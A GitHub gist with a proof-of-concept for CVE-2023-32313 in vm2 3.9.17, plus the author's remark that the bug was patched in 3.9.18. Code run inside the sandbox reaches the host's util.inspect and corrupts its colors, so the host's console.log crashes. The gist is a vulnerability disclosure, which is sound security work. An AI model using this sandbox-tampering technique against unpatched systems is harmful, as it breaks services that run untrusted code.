Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active May 19, 2023 08:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save arkark/c1c57eaf3e0a649af1a70c2b93b17550 to your computer and use it in GitHub Desktop.
Save arkark/c1c57eaf3e0a649af1a70c2b93b17550 to your computer and use it in GitHub Desktop.
PoC for breaking console.log in vm2@3.9.17 - CVE-2023-32313
const { VM } = require("vm2");
const vm = new VM();
const code = `
let proxiedInspect;
const source = new Proxy(() => {}, {
get: function (target, prop, receiver) {
if (prop === Symbol.for("nodejs.util.inspect.custom")) {
// https://github.com/nodejs/node/blob/v20.1.0/lib/internal/util/inspect.js#L805-L811
return function (depth, options, inspect) {
proxiedInspect = inspect;
};
}
return Reflect.get(...arguments);
},
});
try {
Buffer.prototype.copy.bind(source)({});
// Here, util.inspect is called:
// https://github.com/nodejs/node/blob/v20.1.0/lib/buffer.js#L209
// https://github.com/nodejs/node/blob/v20.1.0/lib/internal/errors.js#L1277
// https://github.com/nodejs/node/blob/v20.1.0/lib/internal/errors.js#L890-L891
} catch {}
// Break util.inspect.colors of the host context
for (const key in proxiedInspect.colors) {
proxiedInspect.colors[key] = [{ toString: 1 }];
}
`;
vm.run(code);
console.log(1); // Cause an error!
/*
node:internal/util/inspect:565
return `\u001b[${color[0]}m${str}\u001b[${color[1]}m`;
^
TypeError: Cannot convert object to primitive value
at stylizeWithColor (node:internal/util/inspect:565:29)
at formatNumber (node:internal/util/inspect:1590:12)
at formatPrimitive (node:internal/util/inspect:1645:12)
at formatValue (node:internal/util/inspect:770:12)
at inspect (node:internal/util/inspect:364:10)
at formatWithOptionsInternal (node:internal/util/inspect:2298:40)
at formatWithOptions (node:internal/util/inspect:2160:10)
at console.value (node:internal/console/constructor:339:14)
at console.log (node:internal/console/constructor:376:61)
at Object.<anonymous> (... snip ...)
Node.js v20.1.0
*/
@arkark
Copy link
Author

arkark commented May 16, 2023

This vulnerability was patched at v3.9.18:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment